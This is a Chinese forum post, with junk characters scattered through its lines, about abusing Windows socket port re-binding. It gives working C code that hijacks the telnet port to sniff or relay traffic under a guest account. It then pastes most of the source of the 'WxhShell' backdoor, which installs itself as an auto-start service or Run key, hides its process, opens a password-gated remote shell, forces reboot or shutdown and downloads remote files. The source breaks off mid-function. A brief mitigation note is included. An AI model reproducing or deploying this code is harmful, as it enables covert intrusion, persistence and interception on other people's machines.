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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N2Cf(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +^%0/0e  
$u,`bX  
  saddr.sin_family = AF_INET; *,wW-8  
UR[UZ4G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8`q"] BQN  
'^.3}N{Fo  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oCB#i~|>a  
w5a;ts_x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <@qJsRbhK  
h9+ 7 6  
  这意味着什么?意味着可以进行如下的攻击: <{.pYrn  
H`T}k+e2-N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JiiYl&#  
qn` \g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TZ PUVOtL_  
WhDNt+uk)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 uHyc7^X>  
6H|&HV(!R  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  OC`Mzf%.  
{z8wFL\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]?hlpL  
!]P=v`B.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ='HLA-uT  
g"D:zK)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  37|EG  
:tLMh08h  
  #include e`% <D[-  
  #include ZZW%6-B  
  #include hj3wxH.}  
  #include    iD:T KB_r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8{p#Nl?U1  
  int main() kT&GsR/  
  { ?O/!pUAu  
  WORD wVersionRequested; /Fp@j/50  
  DWORD ret; 4I;$a;R!  
  WSADATA wsaData; u:\DqdlU`  
  BOOL val; {uiL91j.  
  SOCKADDR_IN saddr; v79\(BX  
  SOCKADDR_IN scaddr; <*djtO  
  int err; wUmcA~3D  
  SOCKET s; xc$jG?83#  
  SOCKET sc; wmit>69S  
  int caddsize; m?`$NJST  
  HANDLE mt; r7  *'s  
  DWORD tid;   _Ns_$_  
  wVersionRequested = MAKEWORD( 2, 2 ); P".rm0@R  
  err = WSAStartup( wVersionRequested, &wsaData ); IPlkv{^  
  if ( err != 0 ) { Rhh.fV3  
  printf("error!WSAStartup failed!\n"); =OooTZb:x-  
  return -1; :"Kr-Hm`  
  } o>\epQt~/p  
  saddr.sin_family = AF_INET; rd}|^&e!Dy  
   ,}$[;$ye  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +K"d\<  
2sT\+C&H  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @5TJ]=  
  saddr.sin_port = htons(23); 2Xp?O+b#"O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9 H~OC8R:  
  { 6?3\P>`3Y  
  printf("error!socket failed!\n"); ?rgtbiSW-  
  return -1; (e[8`C  
  } 6"jV>CNc@  
  val = TRUE; lhJZPnx~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I>spJ5ls  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )dI  `yf  
  { e}W|wJ):j@  
  printf("error!setsockopt failed!\n"); MrpT5|t  
  return -1;  76EMS?e  
  } >3y:cPTM5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; GP=&S|hi  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "A&HNkRz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6zW3!_tz  
&, WQr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }%k 3  
  { x=VLRh%Gvl  
  ret=GetLastError(); %weG}gCM  
  printf("error!bind failed!\n"); RL1cx|  
  return -1; 66Xo3 o  
  } Ea?u5$>gY"  
  listen(s,2); A$ o?_  
  while(1) & 13#/  
  { ,c[f/sT\  
  caddsize = sizeof(scaddr); ^es/xt  
  //接受连接请求 TllIs&MCe  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !"N-To-c  
  if(sc!=INVALID_SOCKET) UWq[K&vQZ  
  { T &kr IZw  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R]Pv=fn  
  if(mt==NULL) M`.v/UQn  
  { {~eVZVv  
  printf("Thread Creat Failed!\n"); %n>*jFC  
  break; L2^M#G@t  
  } i 9wk)  
  } mEDi'!YE"  
  CloseHandle(mt); l*<RKY8  
  } I?%iJ%  
  closesocket(s); Y @[Dy  
  WSACleanup(); hZLwg7X!   
  return 0; ;Fm7!@u^0  
  }   WY" `wM  
  DWORD WINAPI ClientThread(LPVOID lpParam) H6]z98  
  { wdTjJf r  
  SOCKET ss = (SOCKET)lpParam; Ce_E S.  
  SOCKET sc; B&c*KaK;~  
  unsigned char buf[4096]; D$G:#z*  
  SOCKADDR_IN saddr; \*6Ld %:h$  
  long num; :sXn*k4v  
  DWORD val; W\JwEb9Y  
  DWORD ret; /|2 hW`G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cSs??i D"q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h;2n2.Q  
  saddr.sin_family = AF_INET; A>W8^|l6+-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p1(<F_Kta  
  saddr.sin_port = htons(23); U<mFwJ C]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x6B_5eF  
  { %oqC5O6  
  printf("error!socket failed!\n"); 6$*ZH *  
  return -1; v6`TbIq%  
  } #&ZwQw  
  val = 100; 2';f8JLY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0'4V*Y  
  { fI1,L"  
  ret = GetLastError(); !_My]>S  
  return -1; 8\@&~&(y:  
  } nA>kJSL'$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [`Dv#  
  { .3yxg}E>{  
  ret = GetLastError(); kA%"-$3  
  return -1; Q,z^eMk'd:  
  } c @~j}(A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E8s&.:;+  
  { U<H< !NV  
  printf("error!socket connect failed!\n"); yCT:U&8%F  
  closesocket(sc); 6`Af2Y_  
  closesocket(ss); [<p7'n3x  
  return -1; DKxzk~sOM  
  } O+Qt8,  
  while(1) ts3BmfR?  
  { Km9Y_`?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 yYM_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2dUVHu= +  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YFY$iN~B,  
  num = recv(ss,buf,4096,0); ({_Dg43O'[  
  if(num>0) ?E:L6,a  
  send(sc,buf,num,0); 98AX=%8  
  else if(num==0) ^%pM$3ov  
  break; &?mJL0fy  
  num = recv(sc,buf,4096,0); L#^'9v}Hb  
  if(num>0) L+o"<LV]  
  send(ss,buf,num,0); `$odxo+  
  else if(num==0) b 5X~^L  
  break; :RE.md  
  } Ysz&/ry  
  closesocket(ss); ApxGrCu  
  closesocket(sc); lYq4f|5H}m  
  return 0 ; R<jt$--H  
  } }+4^ZbX+:  
<Fa]k'<^)  
io{uN/!X_J  
========================================================== Vx6/Rehj  
#- hYjE5  
下边附上一个代码,,WXhSHELL {2Jn#&Z29  
D-<9kBZs  
========================================================== (d2|r)O  
RiX~YL eM  
#include "stdafx.h" ;>d uY\$<  
SsE8;IGH  
#include <stdio.h> "Wz#<! .r  
#include <string.h> . w_oWmD  
#include <windows.h> F qW[L>M'  
#include <winsock2.h> vS{zLXg  
#include <winsvc.h> [j]3='2}G  
#include <urlmon.h> v8>?,N#  
~\^h;A'3  
#pragma comment (lib, "Ws2_32.lib") G$B( AWL  
#pragma comment (lib, "urlmon.lib") ] %y3*N@AZ  
6cV -iDOH  
#define MAX_USER   100 // 最大客户端连接数 DcQ[zdEz+  
#define BUF_SOCK   200 // sock buffer 6eNo}Tos9  
#define KEY_BUFF   255 // 输入 buffer "=S< xT+  
= UT^5cl(  
#define REBOOT     0   // 重启 (ugB3o  
#define SHUTDOWN   1   // 关机 4G4[IA u_  
:7w^2/ZGo  
#define DEF_PORT   5000 // 监听端口 (79y!&9p  
vxRy7:G"  
#define REG_LEN     16   // 注册表键长度 ^6E+l#  
#define SVC_LEN     80   // NT服务名长度 q{?ku!cL  
V{j>09u  
// 从dll定义API ?!:$Z4G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  '9Hah  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IP]"D"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8 N5ga  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q8kdX6NMd&  
xA-u%Vf7@  
// wxhshell配置信息 Wp[R$/uT  
struct WSCFG { &Q85Bq  
  int ws_port;         // 监听端口 eKq`t.*Ft  
  char ws_passstr[REG_LEN]; // 口令 _ xAL0 (  
  int ws_autoins;       // 安装标记, 1=yes 0=no `T gwa  
  char ws_regname[REG_LEN]; // 注册表键名 K38A;=t9  
  char ws_svcname[REG_LEN]; // 服务名 T7!"gJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^\z.E?v%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <{"]&bl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 El}."}l&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =D2jJk?AX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .9<  i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &F*L=Ng  
%6vf~oG  
}; wm$1LZ8o-`  
8$H_:*A?  
// default Wxhshell configuration d3$&I==;:  
struct WSCFG wscfg={DEF_PORT, YtzB/q8I  
    "xuhuanlingzhe", pt rQ~m-  
    1, TfYXF`d  
    "Wxhshell", K9#=@}!3L  
    "Wxhshell", ]+SVQ|v0  
            "WxhShell Service", /=5YHq>  
    "Wrsky Windows CmdShell Service", 8KQ]3Z9p  
    "Please Input Your Password: ", us2X:X)  
  1, 'n9<z)/,!  
  "http://www.wrsky.com/wxhshell.exe", a19yw]hF5  
  "Wxhshell.exe" Y 7a<3>  
    }; SOq{`~,4B  
~qG`~/7  
// 消息定义模块 uK:?6>H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =lzRx%tm  
char *msg_ws_prompt="\n\r? for help\n\r#>";  f:_\S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {g:I5 A#  
char *msg_ws_ext="\n\rExit."; ndIf1}   
char *msg_ws_end="\n\rQuit."; 39|4)1e  
char *msg_ws_boot="\n\rReboot..."; -\b$5oa(  
char *msg_ws_poff="\n\rShutdown..."; )jh4HMvmC  
char *msg_ws_down="\n\rSave to "; &: i|;^^2  
"gcHcboU5$  
char *msg_ws_err="\n\rErr!"; S+mZ.aFS0z  
char *msg_ws_ok="\n\rOK!"; aIrQ=}  
1mLd_ ]F'F  
char ExeFile[MAX_PATH]; cH&-/|N  
int nUser = 0; t4a/\{/#9|  
HANDLE handles[MAX_USER]; #+v Iq?  
int OsIsNt; oA^aT:o +  
SIBNU3;DL  
SERVICE_STATUS       serviceStatus; bOt6q/f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1<y|,  
.o(XnY)cgJ  
// 函数声明 C6=P(%y  
int Install(void); _Ra$"j  
int Uninstall(void); Vt {uG  
int DownloadFile(char *sURL, SOCKET wsh); 'w?*4H  
int Boot(int flag); k* ayzg3F>  
void HideProc(void); 7fVlA"x  
int GetOsVer(void); hP=^JH  
int Wxhshell(SOCKET wsl); 6^vMJ82U  
void TalkWithClient(void *cs); JF%eC}[d  
int CmdShell(SOCKET sock); 7r`A6 \ !  
int StartFromService(void); D;pfogK @  
int StartWxhshell(LPSTR lpCmdLine); c~@Z  
-'j_JJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q K sI}X~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \GL!x 7s1A  
;b(*Bh<  
// 数据结构和表定义 l (EDe  
SERVICE_TABLE_ENTRY DispatchTable[] = vo9DmW  
{ %_rdO(   
{wscfg.ws_svcname, NTServiceMain}, @l7~Zn  
{NULL, NULL} HA?<j|M  
}; _I$\O5  
^ |k 7g  
// 自我安装 wj-=#gyAoo  
int Install(void) }9&Z#1/  
{ @a08*"lbp  
  char svExeFile[MAX_PATH]; 2yu\f u  
  HKEY key; _vQtV]  
  strcpy(svExeFile,ExeFile); %SG**7  
z|w@eQ",  
// 如果是win9x系统,修改注册表设为自启动 dM%#DN8 l  
if(!OsIsNt) { 3D)gy9T&l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7oj ^(R,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G:W4<w  
  RegCloseKey(key); u&q RK>wLa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .?L&k|wX-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <oweLRt  
  RegCloseKey(key); C #A sA  
  return 0; O F$0]V  
    } y4%u< /  
  } 6qW/Td|g  
} Md~% e'  
else { Q\pTyNAYn  
=Kq/E De  
// 如果是NT以上系统,安装为系统服务 k 8C[fRev  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O5:?nD  
if (schSCManager!=0) 5 pJ)OX  
{ n"[VM=YGI  
  SC_HANDLE schService = CreateService *Nv!Kuk  
  ( cs'ylGH  
  schSCManager, (=hXt=hZ  
  wscfg.ws_svcname, Mw=sW5Z  
  wscfg.ws_svcdisp, E\3fL"lM  
  SERVICE_ALL_ACCESS, !H,_*u.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vdwh59W  
  SERVICE_AUTO_START, {fwA=J9%KS  
  SERVICE_ERROR_NORMAL, {[r}&^K15  
  svExeFile, 2E V M*^A  
  NULL, (zW;&A  
  NULL, ^Z?X\t  
  NULL, v9<7=D&x  
  NULL, 8db J'  
  NULL @8IY J{=  
  ); tY?_#rc  
  if (schService!=0) q|*}>=NX  
  { jwm2ZJW  
  CloseServiceHandle(schService); 9ghZL Q  
  CloseServiceHandle(schSCManager); ttazY#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D}n&`^1X+  
  strcat(svExeFile,wscfg.ws_svcname); _cz&f%qr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f.V1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wYZ"fusT  
  RegCloseKey(key); yv.Y-c=  
  return 0; eBZa 9X$  
    } cY%[UK$l  
  } c\X0*GX  
  CloseServiceHandle(schSCManager); Jr0D:  
} Oeua<,]Z~  
} 4WK@ap-~  
BUH~aV  
return 1; KmuE#Ia  
} ~Wh} W((L  
qo1eHn4  
// 自我卸载 6XVr-ef  
int Uninstall(void) _{.=zv|3  
{ 5hNjJqu  
  HKEY key; 1J}i :i&  
)_*<uSl  
if(!OsIsNt) { d2b  L_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +UzFHiGy#  
  RegDeleteValue(key,wscfg.ws_regname); ]SNA2?q  
  RegCloseKey(key); ZTCzD8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d3A= (/>D  
  RegDeleteValue(key,wscfg.ws_regname); cR; zNS  
  RegCloseKey(key); |K},f,  
  return 0; czMu<@c [  
  } h/h`?vWu  
} 8.Q;o+NU  
} R5`"~qP-  
else { g+5{&YD  
E)eRi"a46  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '4gi*8Y  
if (schSCManager!=0) YkRv~bc1]  
{ }E=:k&IDPB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D`nW9i7  
  if (schService!=0) Yg 8AMi  
  { 2ckAJcpEb/  
  if(DeleteService(schService)!=0) { d/Q}I[J.u  
  CloseServiceHandle(schService); kF:4 [d  
  CloseServiceHandle(schSCManager); Wa#!O$u  
  return 0; Qr`WPTQr"  
  } VE4Z;Dr"  
  CloseServiceHandle(schService); ,|gX?[o  
  } /O"IA4O  
  CloseServiceHandle(schSCManager); vn n4  
} _xgF?#  
} ML6V,V/e  
A;e[-5@  
return 1; zCrDbGvqF`  
} @@L@r6  
(p1y/"Xh  
// 从指定url下载文件 + y!B`'J  
int DownloadFile(char *sURL, SOCKET wsh) ~#X,)L{y7v  
{ iI_ad7,u  
  HRESULT hr; l3Vw?f   
char seps[]= "/"; L2s)B  
char *token; }}a<!L,{  
char *file; @\[UZVmBw  
char myURL[MAX_PATH]; "%O,*t  
char myFILE[MAX_PATH]; w(w%~;\kLP  
d4"KM+EP?  
strcpy(myURL,sURL); DlB"o.  
  token=strtok(myURL,seps); hZ0p /Bdv  
  while(token!=NULL) FA 1E`AdU  
  { LOY+^  
    file=token; U#oe8(?#  
  token=strtok(NULL,seps); R} nY8zE  
  } (mq 7{ ;7y  
JpVV0x/Q/_  
GetCurrentDirectory(MAX_PATH,myFILE); 2ql7*g?Uq@  
strcat(myFILE, "\\"); +P C<#  
strcat(myFILE, file); K&(}5`H0=  
  send(wsh,myFILE,strlen(myFILE),0); "y R56`=  
send(wsh,"...",3,0); SB#YV   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0- GA,I_  
  if(hr==S_OK) PV?XpT  
return 0; {I s?>m4  
else v:s.V>{"S  
return 1; QcyYTg4i  
xk}(u`:.  
} xNG 'UbU  
".&x`C  
// 系统电源模块 vkE[Ur>  
int Boot(int flag) 3zJbb3e  
{ ZN)a}\]  
  HANDLE hToken; %G9: M;|'  
  TOKEN_PRIVILEGES tkp; b*4[)Yg4  
&I8,<(`  
  if(OsIsNt) { ,|?-\?I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5.J$0wK'6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <UJgl{ -  
    tkp.PrivilegeCount = 1; ?>lvV+3^`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S5:`fo^5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {e,m<mAi  
if(flag==REBOOT) { hw`+,_ g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6x\+j  
  return 0; jd;=5(2  
} F^ kH"u[  
else { 1gp3A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8" Z!: =A  
  return 0; csTX',c  
} OZ?4"1$.t  
  } |;q*Zy(  
  else { 4]$cf:  
if(flag==REBOOT) { .+XGbs]kCi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }+U} [G  
  return 0; 1-@.[VI  
} @F_#d)+%>  
else { RYMOLX84  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J-lQPMI,  
  return 0; ARYqX\-e  
} 41%B%K*  
} ^n5[pF}Gw  
ua(y! Im  
return 1; &_ er_V~  
} *JXiOs  
jyF0asb  
// win9x进程隐藏模块 (;=:QjaoZ  
void HideProc(void) %-@`|  
{ Wt+aW  
2-821Sf#h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \(_FGa4j  
  if ( hKernel != NULL ) <Vp7G%"'W  
  { jqHg'Fq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X#mm Z;P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +r)'?zU  
    FreeLibrary(hKernel); W(9fCDO;  
  } ToIvyeFr  
a pqzf  
return;  $3](6  
} }fw;{&s{z  
>'eOzMBn  
// 获取操作系统版本 b?h9G3J_a  
int GetOsVer(void) WSfla~-'F  
{ ^=Rqa \;  
  OSVERSIONINFO winfo; .)^@[yrkz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0A[p3xE\  
  GetVersionEx(&winfo); &)L2a)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s)%RmsdL  
  return 1; Xr~6_N{J  
  else q4vu r>m6  
  return 0; X ^>o/U  
} oo7&.HWf  
XJnDx 09h  
// 客户端句柄模块 D3yG@lIP3  
int Wxhshell(SOCKET wsl) ~1YL  
{ *&B1(&{:V  
  SOCKET wsh; tYyva  
  struct sockaddr_in client; 2X2,( D!  
  DWORD myID; 'Omi3LXfDT  
^\ &:'$f+8  
  while(nUser<MAX_USER) ]H7_bix  
{ 8Dpf{9Y-E  
  int nSize=sizeof(client); ABEC{3fWpu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zcItZP  
  if(wsh==INVALID_SOCKET) return 1; W5?F?Dp!v  
z<rdxn,9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }gL9G  
if(handles[nUser]==0) l5S (x Q  
  closesocket(wsh); UwY<3ul  
else 'X{cDdS^  
  nUser++; L'4ob4r{L  
  } F.?`<7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Oy[1_qfP  
}.|\<8_  
  return 0; 0B)l"$W[)/  
} #"d.D7nA  
U7J0&  
// 关闭 socket KC o<%  
void CloseIt(SOCKET wsh) Y-&r_s_~  
{ ,s0E]](  
closesocket(wsh); %[4/UD=7  
nUser--; |E!()j=  
ExitThread(0); IXt2R~b  
} 9"2.2li5$  
+4ax~fuU  
// 客户端请求句柄 UiS9uGj  
void TalkWithClient(void *cs) 8WV1OIL  
{ Rk^Fasg"  
=nOV!!  
  SOCKET wsh=(SOCKET)cs; :7p0JGd  
  char pwd[SVC_LEN]; TCp!4-~,  
  char cmd[KEY_BUFF]; 49}yw3-  
char chr[1]; ~6@zXHAS  
int i,j; 8 f%@:}H  
` 1DJwe2  
  while (nUser < MAX_USER) { 2;%DE<Z  
|x["fWK  
if(wscfg.ws_passstr) { =If% m9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C1P{4 U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vJ>A >R CB  
  //ZeroMemory(pwd,KEY_BUFF); "^gZh3  
      i=0; !zL 1XW)q  
  while(i<SVC_LEN) { bv0B  
-@i)2J_WP  
  // 设置超时 6BVV2j)zl:  
  fd_set FdRead; l?(nkg["nY  
  struct timeval TimeOut; W5(t+$L.  
  FD_ZERO(&FdRead); y4) M,+O5  
  FD_SET(wsh,&FdRead); />q=qkdq0  
  TimeOut.tv_sec=8; G ;V@oT  
  TimeOut.tv_usec=0; /dhx+K~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Pca~V>Hd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s W+YfJT  
%f\{ ]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GmtMA|  
  pwd=chr[0]; %@$h?HP  
  if(chr[0]==0xd || chr[0]==0xa) { q#v.-013r  
  pwd=0; QRdNi 1&M  
  break; $ZYEH  
  } %0INtq  
  i++; 0m)["g4  
    } KM 4w{  
F }pS'Y  
  // 如果是非法用户,关闭 socket ADA%$NhJ!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wQ!~c2a<8  
} ~w Dmt  
|K'{R'A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %cO;{og M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m(nlu  
x@2rfs  
while(1) {  ?1r@r  
7GfgW02  
  ZeroMemory(cmd,KEY_BUFF);  wxsJB2  
twt Bt L  
      // 自动支持客户端 telnet标准   p*!@z|F>U  
  j=0; YS?P A#  
  while(j<KEY_BUFF) { NmST1pMk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); = Ii@-C  
  cmd[j]=chr[0]; i2.y)K)  
  if(chr[0]==0xa || chr[0]==0xd) { 2iI"|k9M  
  cmd[j]=0; og MLv}  
  break; *]z.BZI:  
  } V|}9d:&O  
  j++; :tdx:  
    } VbM5]UT/  
/}2 bsiJT  
  // 下载文件 0NfO|l7P  
  if(strstr(cmd,"http://")) { )]J I Q"rR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5h1!E  
  if(DownloadFile(cmd,wsh)) C-qsyJgZy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >tr?5iKxc  
  else "+_]N9%)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YC&iH>jO3  
  } ~D@ V@sX  
  else { z A&0H  
,M7sOp6}  
    switch(cmd[0]) { f Otrn  
  |C'w] QYm  
  // 帮助 /2>-h-zBjw  
  case '?': { 7zr\AgV9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rZu_"bcJ  
    break; x~s>  
  } H; TmG<S  
  // 安装 34YYw@?}Y  
  case 'i': { Mn>dI@/gM  
    if(Install()) Ou2H~3^PL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BGOI$,  
    else Rt7}e09HV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Vfas|3hZI  
    break; z$ysp!  
    } KyXgw  
  // 卸载 @E O #Ms  
  case 'r': { 1a_;[.s  
    if(Uninstall()) 7b+OIZB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H!F'I)1  
    else )FWF T:P~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dadOjl)S)  
    break; aU^>kRGc  
    } /T#<g:   
  // 显示 wxhshell 所在路径 x)"=*Jj  
  case 'p': { 6i.'S5.  
    char svExeFile[MAX_PATH]; YtW#MG$f  
    strcpy(svExeFile,"\n\r"); <kLY1 EILM  
      strcat(svExeFile,ExeFile); 8S]Mf*~S'  
        send(wsh,svExeFile,strlen(svExeFile),0); &M>S$+I n  
    break; e7,iO#@:m  
    } Redp'rXT<h  
  // 重启 a:zx&DwM  
  case 'b': { FAM`+QtNw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7S] h:q%%  
    if(Boot(REBOOT)) nyQ FS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WcH^bAY6  
    else { <$?:|  
    closesocket(wsh); -mY90]g  
    ExitThread(0); $nn~K  
    } ^{6Y7T]  
    break; FT|*~_@  
    } iM8hGQ`  
  // 关机 zNE!m:s  
  case 'd': { yqejd_cd  
